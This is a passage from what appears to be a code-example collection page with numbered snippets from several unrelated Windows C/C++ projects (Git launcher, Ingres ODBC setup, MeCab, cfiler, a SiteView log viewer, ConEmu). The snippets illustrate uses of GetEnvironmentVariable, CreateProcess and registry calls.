	  cmd = _tgetenv( TEXT("ComSpec") );
	  if (cmd == NULL)
	    cmd = TEXT("cmd");
	}

	ZeroMemory( &si, sizeof(si) );
	si.cb = sizeof(si);
	if (CreateProcess( NULL, cmd, NULL,NULL, TRUE, 0, NULL,NULL, &si, &pi ))
	{
	  SetConsoleCtrlHandler( (PHANDLER_ROUTINE)CtrlHandler, TRUE );
	  WaitForSingleObject( pi.hProcess, INFINITE );
	}
	else
	{
	  *skip_arg( cmd ) = '\0';
	  _tprintf( TEXT("ANSICON: '%s' could not be executed.\n"), cmd );
	  rc = 1;
	}
      }
    }

    if (ansi)
      FreeLibrary( ansi );
  }

  set_original_attr();
  return rc;
}
示例#14
0
int main(void)
{
	int r = 1, wait = 1, prefix_args_len = -1, needs_env_setup = 1,
		is_git_command = 1, full_path = 1, skip_arguments = 0,
		allocate_console = 0, show_console = 0;
	WCHAR exepath[MAX_PATH], exe[MAX_PATH];
	LPWSTR cmd = NULL, exep = exe, prefix_args = NULL, basename;
	LPWSTR working_directory = NULL;

	/* Determine MSys2-based Git path. */
	swprintf(msystem_bin, sizeof(msystem_bin),
		L"mingw%d\\bin", (int) sizeof(void *) * 8);

	/* get the installation location */
	GetModuleFileName(NULL, exepath, MAX_PATH);
	if (!PathRemoveFileSpec(exepath)) {
		fwprintf(stderr, L"Invalid executable path: %s\n", exepath);
		ExitProcess(1);
	}
	basename = exepath + wcslen(exepath) + 1;
	if (configure_via_resource(basename, exepath, exep,
			&prefix_args, &prefix_args_len,
			&is_git_command, &working_directory,
			&full_path, &skip_arguments, &allocate_console,
			&show_console)) {
		/* do nothing */
	}
	else if (!wcsicmp(basename, L"git-gui.exe")) {
		static WCHAR buffer[BUFSIZE];
		wait = 0;
		allocate_console = 1;
		if (!PathRemoveFileSpec(exepath)) {
			fwprintf(stderr,
				L"Invalid executable path: %s\n", exepath);
			ExitProcess(1);
		}

		/* set the default exe module */
		wcscpy(exe, exepath);
		PathAppend(exe, msystem_bin);
		PathAppend(exe, L"wish.exe");
		if (_waccess(exe, 0) != -1)
			swprintf(buffer, BUFSIZE,
				L"\"%s\\%.*s\\libexec\\git-core\"",
				exepath, wcslen(msystem_bin) - 4, msystem_bin);
		else {
			wcscpy(exe, exepath);
			PathAppend(exe, L"mingw\\bin\\wish.exe");
			swprintf(buffer, BUFSIZE,
				L"\"%s\\mingw\\libexec\\git-core\"", exepath);
		}
		PathAppend(buffer, L"git-gui");
		prefix_args = buffer;
		prefix_args_len = wcslen(buffer);
	}
	else if (!wcsnicmp(basename, L"git-", 4)) {
		needs_env_setup = 0;

		/* Call a builtin */
		prefix_args = basename + 4;
		prefix_args_len = wcslen(prefix_args);
		if (!wcsicmp(prefix_args + prefix_args_len - 4, L".exe"))
			prefix_args_len -= 4;

		/* set the default exe module */
		wcscpy(exe, exepath);
		PathAppend(exe, L"git.exe");
	}
	else if (!wcsicmp(basename, L"git.exe")) {
		if (!PathRemoveFileSpec(exepath)) {
			fwprintf(stderr,
				L"Invalid executable path: %s\n", exepath);
			ExitProcess(1);
		}

		/* set the default exe module */
		wcscpy(exe, exepath);
		PathAppend(exe, msystem_bin);
		PathAppend(exe, L"git.exe");
		if (_waccess(exe, 0) == -1) {
			wcscpy(exe, exepath);
			PathAppend(exe, L"bin\\git.exe");
		}
	}
	else if (!wcsicmp(basename, L"gitk.exe")) {
		static WCHAR buffer[BUFSIZE];
		allocate_console = 1;
		if (!PathRemoveFileSpec(exepath)) {
			fwprintf(stderr,
				L"Invalid executable path: %s\n", exepath);
			ExitProcess(1);
		}

		/* set the default exe module */
		wcscpy(exe, exepath);
		swprintf(buffer, BUFSIZE, L"\"%s\"", exepath);
		PathAppend(exe, msystem_bin);
		PathAppend(exe, L"wish.exe");
		if (_waccess(exe, 0) != -1)
			PathAppend(buffer, msystem_bin);
		else {
			wcscpy(exe, exepath);
			PathAppend(exe, L"mingw\\bin\\wish.exe");
			PathAppend(buffer, L"mingw\\bin");
		}
		PathAppend(buffer, L"gitk");
		prefix_args = buffer;
		prefix_args_len = wcslen(buffer);
	}

	if (needs_env_setup)
		setup_environment(exepath, full_path);
	cmd = fixup_commandline(exepath, &exep, &wait,
		prefix_args, prefix_args_len, is_git_command, skip_arguments);

	if (working_directory == (LPWSTR)1) {
		int len = GetEnvironmentVariable(L"HOME", NULL, 0);

		if (len) {
			working_directory = malloc(sizeof(WCHAR) * len);
			GetEnvironmentVariable(L"HOME", working_directory, len);
		}
	}

	{
		STARTUPINFO si;
		PROCESS_INFORMATION pi;
		DWORD creation_flags = CREATE_UNICODE_ENVIRONMENT;
		HANDLE console_handle;
		BOOL br = FALSE;
		ZeroMemory(&pi, sizeof(PROCESS_INFORMATION));
		ZeroMemory(&si, sizeof(STARTUPINFO));
		si.cb = sizeof(STARTUPINFO);

		if (allocate_console | show_console)
			creation_flags |= CREATE_NEW_CONSOLE;
		else if ((console_handle = CreateFile(L"CONOUT$", GENERIC_WRITE,
				FILE_SHARE_WRITE, NULL, OPEN_EXISTING,
				FILE_ATTRIBUTE_NORMAL, NULL)) !=
				INVALID_HANDLE_VALUE)
			CloseHandle(console_handle);
		else {
#define STD_HANDLE(field, id) si.hStd##field = GetStdHandle(STD_##id); if (!si.hStd##field) si.hStd##field = INVALID_HANDLE_VALUE
			STD_HANDLE(Input, INPUT_HANDLE);
			STD_HANDLE(Output, OUTPUT_HANDLE);
			STD_HANDLE(Error, ERROR_HANDLE);
			si.dwFlags = STARTF_USESTDHANDLES;


			creation_flags |= CREATE_NO_WINDOW;
		}
		if (show_console) {
			si.dwFlags |= STARTF_USESHOWWINDOW;
			si.wShowWindow = SW_SHOW;
		}
		br = CreateProcess(/* module: null means use command line */
				exep,
				cmd,  /* modified command line */
				NULL, /* process handle inheritance */
				NULL, /* thread handle inheritance */
					/* handles inheritable? */
				allocate_console ? FALSE : TRUE,
				creation_flags,
				NULL, /* environment: use parent */
				working_directory, /* use parent's */
				&si, &pi);
		if (br) {
			if (wait)
				WaitForSingleObject(pi.hProcess, INFINITE);
			if (!GetExitCodeProcess(pi.hProcess, (DWORD *)&r))
				print_error(L"error reading exit code",
					GetLastError());
			CloseHandle(pi.hProcess);
		}
		else {
			print_error(L"error launching git", GetLastError());
			r = 1;
		}
	}

	free(cmd);

	ExitProcess(r);
}
示例#15
0
CShowLog::CShowLog(WContainerWidget *parent):
WContainerWidget(parent)
{
	refreshCount=0;

	string strTemp1,strTemp2;
	OBJECT objRes=LoadResource("default", "localhost");  
	if( objRes !=INVALID_VALUE )
	{	
		MAPNODE ResNode=GetResourceNode(objRes);
		if( ResNode != INVALID_VALUE )
		{
			FindNodeValue(ResNode,"IDS_LogShow",strMainTitle);
			FindNodeValue(ResNode,"IDS_ReadLogError",strTemp1);
			FindNodeValue(ResNode,"IDS_MonitorLogContext",strTemp2);
		}
		CloseResource(objRes);
	}
	
	
	char buf_tmp[4096]={0};
    int nSize =4095;


	GetEnvironmentVariable( "QUERY_STRING", buf_tmp,nSize);
	//char * tmpquery;
	//tmpquery = getenv( "QUERY_STRING");
	//if(tmpquery)
	//	strcpy(buf_tmp,tmpquery);
	if(buf_tmp != NULL)
	{
		std::string buf1 = buf_tmp;
		int pos = buf1.find("=", 0);
		querystr = buf1.substr(pos+1, buf1.size() - pos - 1);
	}
	
	strPath = "";
	strPath += GetSiteViewRootPath();
	strPath += "\\data\\Temp\\";
	strPath += querystr;
	strPath += ".txt";

	string   strTemp; 
	string   strOutput;

	try
	{
		ifstream  Input(strPath.c_str(), ios::out); 
			//获取日志行数
			nTotleLine = 0;
			nCurLine = 0;
			nPageLine = 100;

		if(Input.is_open())
		{
		
			while(!Input.eof())   
			{   
				nTotleLine++;
				getline(Input, strTemp , '\n');
				//puts(strTemp.c_str());
			}

			Input.close(); 
		}
		
		//获取日志最新100行数数据
		nStartLine = nTotleLine - nPageLine;

		//Input.open(strPath.c_str(), ios::out, 0);

		ifstream  Input1(strPath.c_str(), ios::out); 
		if(Input1.is_open())
		{
			while(!Input1.eof())   
			{   
				if(nTotleLine <= nPageLine)
				{
					getline(Input1, strTemp , '\n');
					strOutput += strTemp;
					strOutput += "\n";
				}
				else
				{
					if(nCurLine >=  nStartLine)
					{
						getline(Input1, strTemp , '\n');
						strOutput += strTemp;
						strOutput += "\n";
					}
					else
						getline(Input1, strTemp , '\n');
					
					nCurLine++;
				}
			}

			Input1.close(); 
		}

	}
	catch(...)
	{
		strOutput = strTemp1;
	}

	WTable * pContainTable = new WTable(this);
	
	//日志标题
	string strLogTitle = GetDeviceTitle(querystr);
	strLogTitle += ":";
	strLogTitle += GetMonitorPropValue(querystr, "sv_name");
	strLogTitle += strTemp2;


	pContainTable ->setStyleClass("t5");
	//pContainTable->setStyleClass("StatsTable");
	WText * pReportTitle = new WText(strLogTitle, (WContainerWidget*)pContainTable->elementAt(0, 0));
	pContainTable->elementAt(0, 0)->setContentAlignment(AlignTop | AlignCenter);
	WFont font1;
	font1.setSize(WFont::Large, WLength(60, WLength::Pixel));
	pReportTitle ->decorationStyle().setFont(font1);


	//日志内容
	WTextArea * pStateTextArea = new WTextArea(strOutput, (WContainerWidget*)pContainTable->elementAt(1, 0));
	//pContainTable->elementAt(1, 0)->setStyleClass("t5");
	pContainTable->elementAt(1, 0)->resize(WLength(100,WLength::Percentage), WLength(100,WLength::Percentage));
	pStateTextArea->setRows(nPageLine);
	pStateTextArea->setColumns(60);
	pStateTextArea ->setStyleClass("testingresult2");
	//pStateTextArea->resize(WLength(100,WLength::Percentage), WLength(100,WLength::Percentage));
	pStateTextArea->resize(WLength(100,WLength::Percentage), WLength(100,WLength::Percentage));

	strcpy(pStateTextArea->contextmenu_ , "readonly=\"readonly\"");

	//strPageTitle = "";
	//new WText("日志内容:", pMainTable->elementAt(4, 0));
	//new WText(strOutput, pMainTable->elementAt(2,0));

	//版权信息
	WText * bottomTitle = new WText("Copyright SiteView", pContainTable->elementAt(2, 0));
	bottomTitle ->decorationStyle().setFont(font1);
	pContainTable->elementAt(2, 0)->setContentAlignment(AlignTop | AlignCenter);
	bottomTitle->decorationStyle().setForegroundColor(Wt::blue);
}
示例#16
0
/*
**  Name:SetODBCEnvironment
**
**  Description:
**	Set ODBC environment. Called by ingres_rollback_odbc.
**
**  History:
**	03-Aug-2001 (penga03)
**	    Created.
**	10-Jun-2008 (drivi01)
**	    Updated this action to install a few more fields in the registry
**	    to keep track of read-only and read/write odbc driver.
**	14-Nov-2008 (drivi01)
**	    Pull Ingres version from commonmm.c
*/
void
SetODBCEnvironment(BOOL setup_IngresODBC, BOOL setup_IngresODBCReadOnly, BOOL bRollback)
{
	char szWindowsDir[512], szII_SYSTEM[MAX_PATH+1];
	char szODBCINIFileName[1024], szODBCDriverFileName[1024], szODBCSetupFileName[1024];
	char szODBCReg[MAX_PATH+1], szDrvName[MAX_PATH];
	char szODBCReadOnly[2];
	HKEY hKey;
	DWORD dwDisposition, dwUsageCount, dwType, dwSize;

	if (!setup_IngresODBC)
		return;

	*szWindowsDir=0;
	GetWindowsDirectory(szWindowsDir, sizeof(szWindowsDir));
	sprintf(szODBCINIFileName, "%s\\ODBCINST.INI", szWindowsDir);
	*szII_SYSTEM=0;
	GetEnvironmentVariable("II_SYSTEM", szII_SYSTEM, sizeof(szII_SYSTEM));
	if (setup_IngresODBC && !setup_IngresODBCReadOnly)
	{
		sprintf(szODBCDriverFileName, "%s\\ingres\\bin\\caiiod35.dll", szII_SYSTEM);
		sprintf(szODBCReadOnly, "N");
	}
	if (setup_IngresODBC && setup_IngresODBCReadOnly)
	{
		sprintf(szODBCDriverFileName, "%s\\ingres\\bin\\caiiro35.dll", szII_SYSTEM);
		sprintf(szODBCReadOnly, "Y");
	}
	sprintf(szODBCSetupFileName,  "%s\\ingres\\bin\\caiioc35.dll", szII_SYSTEM);
	sprintf(szODBCReg, "SOFTWARE\\ODBC\\ODBCINST.INI\\Ingres %s", ING_VERS);
	if(!RegCreateKeyEx(HKEY_LOCAL_MACHINE, szODBCReg, 0, NULL, 
		REG_OPTION_NON_VOLATILE, KEY_ALL_ACCESS, NULL, &hKey, &dwDisposition))
	{
		/* Check out if the ODBC already registered. */
		RegSetValueEx(hKey, "Driver", 0, REG_SZ, (CONST BYTE *)szODBCDriverFileName, strlen(szODBCDriverFileName)+1);
		RegSetValueEx(hKey, "Setup", 0, REG_SZ, (CONST BYTE *)szODBCSetupFileName, strlen(szODBCSetupFileName)+1);
		RegSetValueEx(hKey, "APILevel", 0, REG_SZ, (CONST BYTE *)"1", strlen("1")+1);
		RegSetValueEx(hKey, "ConnectFunctions", 0, REG_SZ, (CONST BYTE *)"YYN", strlen("YYN")+1);
		RegSetValueEx(hKey, "DriverODBCVer", 0, REG_SZ, (CONST BYTE *)"03.50", strlen("03.50")+1);
		RegSetValueEx(hKey, "DriverReadOnly", 0, REG_SZ, (CONST BYTE *)szODBCReadOnly, strlen(szODBCReadOnly)+1);
		RegSetValueEx(hKey, "DriverType", 0, REG_SZ, (CONST BYTE *)"Ingres", strlen("Ingres")+1);
		RegSetValueEx(hKey, "FileUsage", 0, REG_SZ, (CONST BYTE *)"0", strlen("0")+1);
		RegSetValueEx(hKey, "SQLLevel", 0, REG_SZ, (CONST BYTE *)"0", strlen("0")+1);
		RegSetValueEx(hKey, "CPTimeout", 0, REG_SZ, (CONST BYTE *)"60", strlen("60")+1);
		dwSize = ( DWORD) sizeof ( dwUsageCount);
		if (RegQueryValueEx(hKey, "UsageCount", NULL, &dwType, (LPBYTE)&dwUsageCount, &dwSize))
			dwUsageCount = 1;
		else
		{
			if (bRollback) dwUsageCount = dwUsageCount + 1;
		}
		RegSetValueEx(hKey, "UsageCount", 0, REG_DWORD, (LPBYTE)&dwUsageCount, sizeof(DWORD));
		RegSetValueEx(hKey, "Vendor", 0, REG_SZ, (CONST BYTE *)"Ingres Corporation", strlen("Ingres Corporation")+1);

		RegCloseKey(hKey);
	}
	
	if(!RegCreateKeyEx(HKEY_LOCAL_MACHINE, "SOFTWARE\\ODBC\\ODBCINST.INI\\ODBC Drivers", 0, NULL, 
		REG_OPTION_NON_VOLATILE, KEY_ALL_ACCESS, NULL, &hKey, &dwDisposition))
	{
		char szRegKey[MAX_PATH];
		sprintf(szRegKey, "Ingres %s", ING_VERS);
		RegSetValueEx(hKey, szRegKey, 0, REG_SZ, (CONST BYTE *)"Installed", strlen("Installed")+1);
		RegCloseKey(hKey);
	}
	sprintf(szDrvName, "Ingres %s (32 bit)", ING_VERS);
	WritePrivateProfileString("ODBC 32 bit Drivers", szDrvName, "Installed", szODBCINIFileName);
	WritePrivateProfileString(szDrvName, "Driver", szODBCDriverFileName, szODBCINIFileName);
	WritePrivateProfileString(szDrvName, "Setup", szODBCSetupFileName, szODBCINIFileName);
	WritePrivateProfileString(szDrvName, "32Bit", "1", szODBCINIFileName);

	if (!RegCreateKeyEx(HKEY_LOCAL_MACHINE, "SOFTWARE\\ODBC\\ODBCINST.INI\\Ingres", 0, NULL,
		REG_OPTION_NON_VOLATILE, KEY_ALL_ACCESS, NULL, &hKey, &dwDisposition))
	{
		RegSetValueEx(hKey, "Driver", 0, REG_SZ, (CONST BYTE *)szODBCDriverFileName, strlen(szODBCDriverFileName)+1);
		RegSetValueEx(hKey, "Setup", 0, REG_SZ, (CONST BYTE *)szODBCSetupFileName, strlen(szODBCSetupFileName)+1);
		RegSetValueEx(hKey, "APILevel", 0, REG_SZ, (CONST BYTE *)"1", strlen("1")+1);
		RegSetValueEx(hKey, "ConnectFunctions", 0, REG_SZ, (CONST BYTE *)"YYN", strlen("YYN")+1);
		RegSetValueEx(hKey, "DriverODBCVer", 0, REG_SZ, (CONST BYTE *)"03.50", strlen("03.50")+1);
		RegSetValueEx(hKey, "DriverReadOnly", 0, REG_SZ, (CONST BYTE *)szODBCReadOnly, strlen(szODBCReadOnly)+1);
		RegSetValueEx(hKey, "DriverType", 0, REG_SZ, (CONST BYTE *)"Ingres", strlen("Ingres")+1);
		RegSetValueEx(hKey, "FileUsage", 0, REG_SZ, (CONST BYTE *)"0", strlen("0")+1);
		RegSetValueEx(hKey, "SQLLevel", 0, REG_SZ, (CONST BYTE *)"0", strlen("0")+1);
		RegSetValueEx(hKey, "CPTimeout", 0, REG_SZ, (CONST BYTE *)"60", strlen("60")+1);

		dwSize = ( DWORD ) sizeof ( dwUsageCount);
		if (RegQueryValueEx(hKey, "UsageCount", NULL, &dwType, (LPBYTE)&dwUsageCount, &dwSize))
			dwUsageCount = 1;
		else
		{
			if (bRollback) dwUsageCount = dwUsageCount + 1;
		}
		RegSetValueEx(hKey, "UsageCount", 0, REG_DWORD, (LPBYTE)&dwUsageCount, sizeof(DWORD));
		RegSetValueEx(hKey, "Vendor", 0, REG_SZ, (CONST BYTE *)"Ingres Corporation", strlen("Ingres Corporation")+1);

		RegCloseKey(hKey);
	}


	if (!RegCreateKeyEx(HKEY_LOCAL_MACHINE, "SOFTWARE\\ODBC\\ODBCINST.INI\\ODBC Drivers", 0, NULL, 
		REG_OPTION_NON_VOLATILE, KEY_ALL_ACCESS, NULL, &hKey, &dwDisposition))
	{
		RegSetValueEx(hKey, "Ingres", 0, REG_SZ, (CONST BYTE *)"Installed", strlen("Installed")+1);
		RegCloseKey(hKey);
	}

	WritePrivateProfileString("ODBC 32 bit Drivers", "Ingres (32 bit)", "Installed", szODBCINIFileName);
	WritePrivateProfileString("Ingres (32 bit)", "Driver", szODBCDriverFileName, szODBCINIFileName);
	WritePrivateProfileString("Ingres (32 bit)", "Setup", szODBCSetupFileName, szODBCINIFileName);
	WritePrivateProfileString("Ingres (32 bit)", "32Bit", "1", szODBCINIFileName);


	return;
}
示例#17
0
文件: main.cpp 项目: crftwr/cfiler
int AppMain()
{
	std::wstring exe_dir;

	// Get exe's directory
	{
		wchar_t exe_path_buf[MAX_PATH + 1];
		GetModuleFileName(NULL, exe_path_buf, MAX_PATH);

		exe_dir = exe_path_buf;

		size_t last_backslash_pos = exe_dir.find_last_of(L"\\/");
		if (last_backslash_pos >= 0)
		{
			exe_dir = exe_dir.substr(0, last_backslash_pos);
		}
		else
		{
			exe_dir = L"";
		}
	}

	// Setup environment variable "PATH"
	{
		std::wstring env_path;

		wchar_t tmp_buf[1];
		DWORD ret = GetEnvironmentVariable(L"PATH", tmp_buf, 0);
		if (ret > 0)
		{
			DWORD len = ret;
			wchar_t * buf = (wchar_t*)malloc((len + 1) * sizeof(wchar_t));

			GetEnvironmentVariable(L"PATH", buf, (len + 1) * sizeof(wchar_t));

			env_path = buf;

			free(buf);
		}

		env_path = exe_dir + L"/lib;" + env_path;

		SetEnvironmentVariable(L"PATH", env_path.c_str());
	}

	// Python home
	{
#if defined(_DEBUG)
		Py_SetPythonHome(PYTHON_INSTALL_PATH);
#else
		Py_SetPythonHome(const_cast<wchar_t*>(exe_dir.c_str()));
#endif //_DEBUG
	}

	// Python module search path
	{
		std::wstring python_path;

		python_path += exe_dir + L"/extension;";
		
		#if defined(_DEBUG)
		python_path += exe_dir + L";";
		python_path += exe_dir + L"/..;";
		python_path += std::wstring(PYTHON_INSTALL_PATH) + L"\\Lib;";
		python_path += std::wstring(PYTHON_INSTALL_PATH) + L"\\Lib\\site-packages;";
		python_path += std::wstring(PYTHON_INSTALL_PATH) + L"\\DLLs;";
		#else
		python_path += exe_dir + L"/library.zip;";
		python_path += exe_dir + L"/lib;";
		#endif
		
		Py_SetPath(python_path.c_str());
	}

	// Initialization
	Py_Initialize();

	// Setup sys.argv
	{
		wchar_t * cmdline = GetCommandLine();

		int argc;
		wchar_t ** argv = CommandLineToArgvW(cmdline, &argc);

		PySys_SetArgv(argc, argv);

		LocalFree(argv);
	}

	// Execute python side main script
	{
		PyObject * module = PyImport_ImportModule("cfiler_main");
		if (module == NULL)
		{
			PyErr_Print();
		}

		Py_XDECREF(module);
		module = NULL;
	}

	// Termination
	Py_Finalize();

	return 0;
}
bool load_dictionary_resource(Param *param) {
  std::string rcfile = param->get<std::string>("rcfile");

#ifdef HAVE_GETENV
  if (rcfile.empty()) {
    const char *homedir = getenv("HOME");
    if (homedir) {
      std::string s = MeCab::create_filename(std::string(homedir),
                                             ".mecabrc");
      std::ifstream ifs(s.c_str());
      if (ifs) rcfile = s;
    }
  }

  if (rcfile.empty()) {
    const char *rcenv = getenv("MECABRC");
    if (rcenv) rcfile = rcenv;
  }
#endif

#if defined (HAVE_GETENV) && defined(_WIN32) && !defined(__CYGWIN__)
  if (rcfile.empty()) {
    char buf[BUF_SIZE];
    DWORD len = GetEnvironmentVariable("MECABRC",
                                       buf,
                                       sizeof(buf));
    if (len < sizeof(buf) && len > 0) {
      rcfile = buf;
    }
  }
#endif

#if defined(_WIN32) && !defined(__CYGWIN__)
  HKEY hKey;
  char v[BUF_SIZE];
  DWORD vt;
  DWORD size = sizeof(v);

  if (rcfile.empty()) {
    RegOpenKeyEx(HKEY_LOCAL_MACHINE, "software\\mecab", 0, KEY_READ, &hKey);
    RegQueryValueEx(hKey, "mecabrc", 0, &vt,
                    reinterpret_cast<BYTE *>(v), &size);
    RegCloseKey(hKey);
    if (vt == REG_SZ) rcfile = v;
  }

  if (rcfile.empty()) {
    RegOpenKeyEx(HKEY_CURRENT_USER, "software\\mecab", 0, KEY_READ, &hKey);
    RegQueryValueEx(hKey, "mecabrc", 0, &vt,
                    reinterpret_cast<BYTE *>(v), &size);
    RegCloseKey(hKey);
    if (vt == REG_SZ) rcfile = v;
  }

  /* for Open JTalk
  if (rcfile.empty()) {
    vt = GetModuleFileName(DllInstance, v, size);
    if (vt != 0) {
      char drive[_MAX_DRIVE];
      char dir[_MAX_DIR];
      _splitpath(v, drive, dir, NULL, NULL);
      std::string s = std::string(drive)
          + std::string(dir) + std::string("mecabrc");
      std::ifstream ifs(s.c_str());
      if (ifs) rcfile = s;
    }
  }
  */
#endif

  /* for Open JTalk
  if (rcfile.empty()) rcfile = MECAB_DEFAULT_RC;

  if (!param->load(rcfile.c_str())) return false;
  */

  std::string dicdir = param->get<std::string>("dicdir");
  if (dicdir.empty()) dicdir = ".";  // current
  remove_filename(&rcfile);
  replace_string(&dicdir, "$(rcpath)", rcfile);
  param->set<std::string>("dicdir", dicdir, true);
  dicdir = create_filename(dicdir, DICRC);

  if (!param->load(dicdir.c_str())) return false;

  return true;
}
示例#19
0
bool FindImageSubsystem(const wchar_t *Module, /*wchar_t* pstrDest,*/ DWORD& ImageSubsystem, DWORD& ImageBits, DWORD& FileAttrs)
{
	if (!Module || !*Module)
		return false;

	bool Result = false;
	//ImageSubsystem = IMAGE_SUBSYSTEM_UNKNOWN;

	// Исключения нас не интересуют - команда уже сформирована и отдана в CreateProcess!
	//// нулевой проход - смотрим исключения
	//// Берем "исключения" из реестра, которые должны исполняться директом,
	//// например, некоторые внутренние команды ком. процессора.
	//string strExcludeCmds;
	//GetRegKey(strSystemExecutor,L"ExcludeCmds",strExcludeCmds,L"");
	//UserDefinedList ExcludeCmdsList;
	//ExcludeCmdsList.Set(strExcludeCmds);
	//while (!ExcludeCmdsList.IsEmpty())
	//{
	//	if (!StrCmpI(Module,ExcludeCmdsList.GetNext()))
	//	{
	//		ImageSubsystem=IMAGE_SUBSYSTEM_WINDOWS_CUI;
	//		Result=true;
	//		break;
	//	}
	//}

	//string strFullName=Module;
	LPCWSTR ModuleExt = PointToExt(Module);
	wchar_t *strPathExt/*[32767]*/ = NULL; //(L".COM;.EXE;.BAT;.CMD;.VBS;.JS;.WSH");
	wchar_t *strPathEnv/*[32767]*/ = NULL;
	wchar_t *strExpand/*[32767]*/ = NULL;
	wchar_t *strTmpName/*[32767]*/ = NULL;
	wchar_t *pszFilePart = NULL;
	DWORD nPathExtLen = 0;
	LPCWSTR pszPathExtEnd = NULL;
	LPWSTR Ext = NULL;

	typedef LONG (WINAPI *RegOpenKeyExW_t)(HKEY hKey, LPCTSTR lpSubKey, DWORD ulOptions, REGSAM samDesired, PHKEY phkResult);
	RegOpenKeyExW_t _RegOpenKeyEx = NULL;
	typedef LONG (WINAPI *RegQueryValueExW_t)(HKEY hKey, LPCTSTR lpValueName, LPDWORD lpReserved, LPDWORD lpType, LPBYTE lpData, LPDWORD lpcbData);
	RegQueryValueExW_t _RegQueryValueEx = NULL;
	typedef LONG (WINAPI *RegCloseKey_t)(HKEY hKey);
	RegCloseKey_t _RegCloseKey = NULL;
	HMODULE hAdvApi = NULL;
	
	

	int cchstrPathExt = 32767;
	strPathExt = (wchar_t*)malloc(cchstrPathExt*sizeof(wchar_t)); *strPathExt = 0;
	int cchstrPathEnv = 32767;
	strPathEnv = (wchar_t*)malloc(cchstrPathEnv*sizeof(wchar_t)); *strPathEnv = 0;
	int cchstrExpand = 32767;
	strExpand = (wchar_t*)malloc(cchstrExpand*sizeof(wchar_t)); *strExpand = 0;
	int cchstrTmpName = 32767;
	strTmpName = (wchar_t*)malloc(cchstrTmpName*sizeof(wchar_t)); *strTmpName = 0;
		
	nPathExtLen = GetEnvironmentVariable(L"PATHEXT", strPathExt, cchstrPathExt-2);
	if (!nPathExtLen)
	{
		_wcscpy_c(strPathExt, cchstrPathExt, L".COM;.EXE;.BAT;.CMD;.VBS;.JS;.WSH");
		nPathExtLen = lstrlen(strPathExt);
	}
	pszPathExtEnd = strPathExt+nPathExtLen;
	// Разбить на токены
	strPathExt[nPathExtLen] = strPathExt[nPathExtLen+1] = 0;
	Ext = wcschr(strPathExt, L';');
	while (Ext)
	{
		*Ext = 0;
		Ext = wcschr(Ext+1, L';');
	}

	TODO("Проверить на превышение длин строк");

	// первый проход - в текущем каталоге
	LPWSTR pszExtCur = strPathExt;
	while (pszExtCur < pszPathExtEnd)
	{
		Ext = pszExtCur;
		pszExtCur = pszExtCur + lstrlen(pszExtCur)+1;

		_wcscpyn_c(strTmpName, cchstrTmpName, Module, cchstrTmpName); //-V501

		if (!ModuleExt)
		{
			if (!*Ext)
				continue;
			_wcscatn_c(strTmpName, cchstrTmpName, Ext, cchstrTmpName);
		}

		if (GetImageSubsystem(strTmpName, ImageSubsystem, ImageBits/*16/32/64*/, FileAttrs))
		{
			Result = true;
			goto wrap;
		}

		if (ModuleExt)
		{
			break;
		}
	}

	// второй проход - по правилам SearchPath

	// поиск по переменной PATH
	if (GetEnvironmentVariable(L"PATH", strPathEnv, cchstrPathEnv))
	{
		LPWSTR pszPathEnvEnd = strPathEnv + lstrlen(strPathEnv);

		LPWSTR pszPathCur = strPathEnv;
		while (pszPathCur && (pszPathCur < pszPathEnvEnd))
		{
			LPWSTR Path = pszPathCur;
			LPWSTR pszPathNext = wcschr(pszPathCur, L';');
			if (pszPathNext)
			{
				*pszPathNext = 0;
				pszPathCur = pszPathNext+1;
			}
			else
			{
				pszPathCur = pszPathEnvEnd;
			}
			if (!*Path)
				continue;

			pszExtCur = strPathExt;
			while (pszExtCur < pszPathExtEnd)
			{
				Ext = pszExtCur;
				pszExtCur = pszExtCur + lstrlen(pszExtCur)+1;
				if (!*Ext)
					continue;

				if (SearchPath(Path, Module, Ext, cchstrTmpName, strTmpName, &pszFilePart))
				{
					if (GetImageSubsystem(strTmpName, ImageSubsystem, ImageBits, FileAttrs))
					{
						Result = true;
						goto wrap;
					}
				}
			}
		}
	}

	pszExtCur = strPathExt;
	while (pszExtCur < pszPathExtEnd)
	{
		Ext = pszExtCur;
		pszExtCur = pszExtCur + lstrlen(pszExtCur)+1;
		if (!*Ext)
			continue;

		if (SearchPath(NULL, Module, Ext, cchstrTmpName, strTmpName, &pszFilePart))
		{
			if (GetImageSubsystem(strTmpName, ImageSubsystem, ImageBits, FileAttrs))
			{
				Result = true;
				goto wrap;
			}
		}
	}

	// третий проход - лезем в реестр в "App Paths"
	if (!wcschr(Module, L'\\'))
	{
		hAdvApi = LoadLibrary(L"AdvApi32.dll");
		if (!hAdvApi)
			goto wrap;
		_RegOpenKeyEx = (RegOpenKeyExW_t)GetProcAddress(hAdvApi, "RegOpenKeyExW");
		_RegQueryValueEx = (RegQueryValueExW_t)GetProcAddress(hAdvApi, "RegQueryValueExW");
		_RegCloseKey = (RegCloseKey_t)GetProcAddress(hAdvApi, "RegCloseKey");
		if (!_RegOpenKeyEx || !_RegQueryValueEx || !_RegCloseKey)
			goto wrap;

		LPCWSTR RegPath = L"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\App Paths\\";
		// В строке Module заменить исполняемый модуль на полный путь, который
		// берется из SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths
		// Сначала смотрим в HKCU, затем - в HKLM
		HKEY RootFindKey[] = {HKEY_CURRENT_USER,HKEY_LOCAL_MACHINE,HKEY_LOCAL_MACHINE};

		BOOL lbAddExt = FALSE;
		pszExtCur = strPathExt;
		while (pszExtCur < pszPathExtEnd)
		{
			if (!lbAddExt)
			{
				Ext = NULL;
				lbAddExt = TRUE;
			}
			else
			{
				Ext = pszExtCur;
				pszExtCur = pszExtCur + lstrlen(pszExtCur)+1;
				if (!*Ext)
					continue;
			}

			_wcscpy_c(strTmpName, cchstrTmpName, RegPath);
			_wcscatn_c(strTmpName, cchstrTmpName, Module, cchstrTmpName);
			if (Ext)
				_wcscatn_c(strTmpName, cchstrTmpName, Ext, cchstrTmpName);

			DWORD samDesired = KEY_QUERY_VALUE;
			DWORD RedirectionFlag = 0;
			// App Paths key is shared in Windows 7 and above
			OSVERSIONINFO osv = {sizeof(OSVERSIONINFO)};
			GetVersionEx(&osv);
			if (osv.dwMajorVersion < 6 || (osv.dwMajorVersion == 6 && osv.dwMinorVersion < 1))
			{
				#ifdef _WIN64
				RedirectionFlag = KEY_WOW64_32KEY;
				#else
				RedirectionFlag = IsWindows64() ? KEY_WOW64_64KEY : 0;
				#endif
			}
			for (size_t i = 0; i < countof(RootFindKey); i++)
			{
